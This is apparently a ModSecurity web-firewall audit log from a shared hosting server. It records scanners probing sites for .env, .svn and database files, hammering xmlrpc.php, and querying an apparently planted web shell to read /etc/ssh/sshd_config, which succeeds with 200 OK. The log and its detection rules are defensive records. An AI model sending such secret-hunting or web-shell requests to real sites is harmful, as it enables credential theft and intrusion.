Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/dashboard/.env"] [unique_id "aE9me_bo0R64L12N_alVPgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034043221816 678316 (- - -) Stopwatch2: 1750034043221816 678316; combined=1821, p1=403, p2=1325, p3=0, p4=0, p5=93, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fcd4ae54-Z-- --c8c15906-A-- [16/Jun/2025:06:04:04.965930 +0530] aE9mfJ_Rv4EBtUyS5c4GHQAAAAU 185.177.72.210 32874 127.0.0.1 7081 --c8c15906-B-- GET /Sources/API/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8c15906-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a5d8a61ccf095b77e0b83eabb893f81a1750034044; expires=Mon, 16 Jun 2025 01:34:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8c15906-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Sources/API/.env"] [unique_id "aE9mfJ_Rv4EBtUyS5c4GHQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034044223820 742189 (- - -) Stopwatch2: 1750034044223820 742189; combined=1789, p1=333, p2=1376, p3=0, p4=0, p5=79, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8c15906-Z-- --1c65a159-A-- [16/Jun/2025:06:04:17.613188 +0530] aE9miNVsbyFDndheOrk1kgAAAAE 128.199.112.101 54696 127.0.0.1 7081 --1c65a159-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1c65a159-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1c65a159-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9miNVsbyFDndheOrk1kgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034056657368 955877 (- - -) Stopwatch2: 1750034056657368 955877; combined=2795, p1=429, p2=1946, p3=43, p4=70, p5=189, sr=121, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c65a159-Z-- --b8144f10-A-- [16/Jun/2025:06:04:19.276088 +0530] aE9mivbo0R64L12N_alVRwAAAAQ 185.177.72.210 54782 127.0.0.1 7081 --b8144f10-B-- GET /database.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b8144f10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5cfc5ee95fb1047ae9b69452465474fc1750034059; expires=Mon, 16 Jun 2025 01:34:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b8144f10-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/database.inc"] [unique_id "aE9mivbo0R64L12N_alVRwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034058569970 706208 (- - -) Stopwatch2: 1750034058569970 706208; combined=1819, p1=327, p2=1363, p3=0, p4=0, p5=128, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8144f10-Z-- --2ebcc36a-A-- [16/Jun/2025:06:04:21.357593 +0530] aE9mjPbo0R64L12N_alVSAAAAAQ 185.177.72.210 46764 127.0.0.1 7081 --2ebcc36a-B-- GET /:8181/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2ebcc36a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=18b7253714ae25cf81e4464f7f8a1a831750034061; expires=Mon, 16 Jun 2025 01:34:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2ebcc36a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.sample"] [unique_id "aE9mjPbo0R64L12N_alVSAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034060700252 657414 (- - -) Stopwatch2: 1750034060700252 657414; combined=2400, p1=505, p2=1802, p3=0, p4=0, p5=93, sr=133, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2ebcc36a-Z-- --57c6b300-A-- [16/Jun/2025:06:04:32.137874 +0530] aE9ml516HYQp4eDf7R1V-wAAAAI 185.177.72.210 46810 127.0.0.1 7081 --57c6b300-B-- GET /backup/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --57c6b300-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d302d6a2003fde71859b84c192b25e541750034072; expires=Mon, 16 Jun 2025 01:34:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --57c6b300-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.svn/"] [unique_id "aE9ml516HYQp4eDf7R1V-wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034071495955 642011 (- - -) Stopwatch2: 1750034071495955 642011; combined=1890, p1=413, p2=1368, p3=0, p4=0, p5=109, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --57c6b300-Z-- --caafc113-A-- [16/Jun/2025:06:04:33.129802 +0530] aE9mmGYZLqtIztZ_Ow_qXgAAAAg 185.177.72.210 46870 127.0.0.1 7081 --caafc113-B-- GET /:8181/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --caafc113-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a6e8bb3777c72f95b8a5dbf94fe4e6af1750034072; expires=Mon, 16 Jun 2025 01:34:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --caafc113-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE9mmGYZLqtIztZ_Ow_qXgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034072460775 669090 (- - -) Stopwatch2: 1750034072460775 669090; combined=2166, p1=461, p2=1603, p3=0, p4=0, p5=102, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --caafc113-Z-- --4cece959-A-- [16/Jun/2025:06:04:35.138841 +0530] aE9mmmYZLqtIztZ_Ow_qXwAAAAg 185.177.72.210 46934 127.0.0.1 7081 --4cece959-B-- GET /:8888/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4cece959-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42e8280495b1b09fc77c52dc7bbaf2a11750034074; expires=Mon, 16 Jun 2025 01:34:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4cece959-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env_bak"] [unique_id "aE9mmmYZLqtIztZ_Ow_qXwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034074425900 713029 (- - -) Stopwatch2: 1750034074425900 713029; combined=1755, p1=369, p2=1257, p3=0, p4=0, p5=128, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4cece959-Z-- --aadaf707-A-- [16/Jun/2025:06:04:37.231414 +0530] aE9mnGYZLqtIztZ_Ow_qYAAAAAg 185.177.72.210 47036 127.0.0.1 7081 --aadaf707-B-- GET /:8443/system/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aadaf707-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=91f96417f772883b84cd896b7bc7ff711750034077; expires=Mon, 16 Jun 2025 01:34:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aadaf707-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/system/.env"] [unique_id "aE9mnGYZLqtIztZ_Ow_qYAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034076536090 695387 (- - -) Stopwatch2: 1750034076536090 695387; combined=1819, p1=413, p2=1306, p3=0, p4=0, p5=99, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aadaf707-Z-- --cab4c144-A-- [16/Jun/2025:06:04:38.219869 +0530] aE9mnTC9bb-fhYp4LpFRXgAAAAM 185.177.72.210 47104 127.0.0.1 7081 --cab4c144-B-- GET /var/lib/mlocate.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cab4c144-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=76e8a3cfed7afd3fb7d346b4ba9e17121750034078; expires=Mon, 16 Jun 2025 01:34:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cab4c144-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/var/lib/mlocate.db"] [unique_id "aE9mnTC9bb-fhYp4LpFRXgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034077555395 664539 (- - -) Stopwatch2: 1750034077555395 664539; combined=2003, p1=348, p2=1554, p3=0, p4=0, p5=101, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cab4c144-Z-- --b257156a-A-- [16/Jun/2025:06:04:44.643017 +0530] aE9mo516HYQp4eDf7R1WAgAAAAI 185.177.72.210 51226 127.0.0.1 7081 --b257156a-B-- GET /:8000/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b257156a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=69c12fc89c959852ca0140c7188e32651750034084; expires=Mon, 16 Jun 2025 01:34:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b257156a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/symfony/.env"] [unique_id "aE9mo516HYQp4eDf7R1WAgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034083969007 674074 (- - -) Stopwatch2: 1750034083969007 674074; combined=2054, p1=426, p2=1537, p3=0, p4=0, p5=91, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b257156a-Z-- --03d2a775-A-- [16/Jun/2025:06:05:06.508696 +0530] aE9muQ9THibLN0xLxETwzAAAAAk 185.177.72.210 37912 127.0.0.1 7081 --03d2a775-B-- GET /statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03d2a775-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3fb33842a4f384c24f32013335058d291750034106; expires=Mon, 16 Jun 2025 01:35:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03d2a775-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/statisch/.env"] [unique_id "aE9muQ9THibLN0xLxETwzAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034105789460 719300 (- - -) Stopwatch2: 1750034105789460 719300; combined=1884, p1=372, p2=1410, p3=0, p4=0, p5=101, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03d2a775-Z-- --1117294b-A-- [16/Jun/2025:06:05:18.224594 +0530] aE9mxdVsbyFDndheOrk1sAAAAAE 128.199.112.101 51686 127.0.0.1 7081 --1117294b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1117294b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1117294b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9mxdVsbyFDndheOrk1sAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034117196498 1028164 (- - -) Stopwatch2: 1750034117196498 1028164; combined=2439, p1=405, p2=1577, p3=44, p4=59, p5=231, sr=119, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1117294b-Z-- --71f57522-A-- [16/Jun/2025:06:05:31.676114 +0530] aE9m09NEcm-DhAkC0ibdAgAAAAY 44.209.187.99 56378 127.0.0.1 7081 --71f57522-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/ssh&viewfile=//etc/ssh/sshd_config HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.209.187.99 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --71f57522-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4404 Connection: close Content-Type: text/html; charset=UTF-8 --71f57522-H-- Message: Warning. Matched phrase "etc/ssh/sshd_config" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/ssh/sshd_config found within ARGS:viewfile: /etc/ssh/sshd_config"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/ssh/sshd_config" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/ssh/sshd_config found within ARGS:viewfile: /etc/ssh/sshd_config"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9m09NEcm-DhAkC0ibdAgAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750034131672220 3944 (- - -) Stopwatch2: 1750034131672220 3944; combined=2039, p1=379, p2=1534, p3=38, p4=33, p5=55, sr=98, sw=0, l=0, gc=0 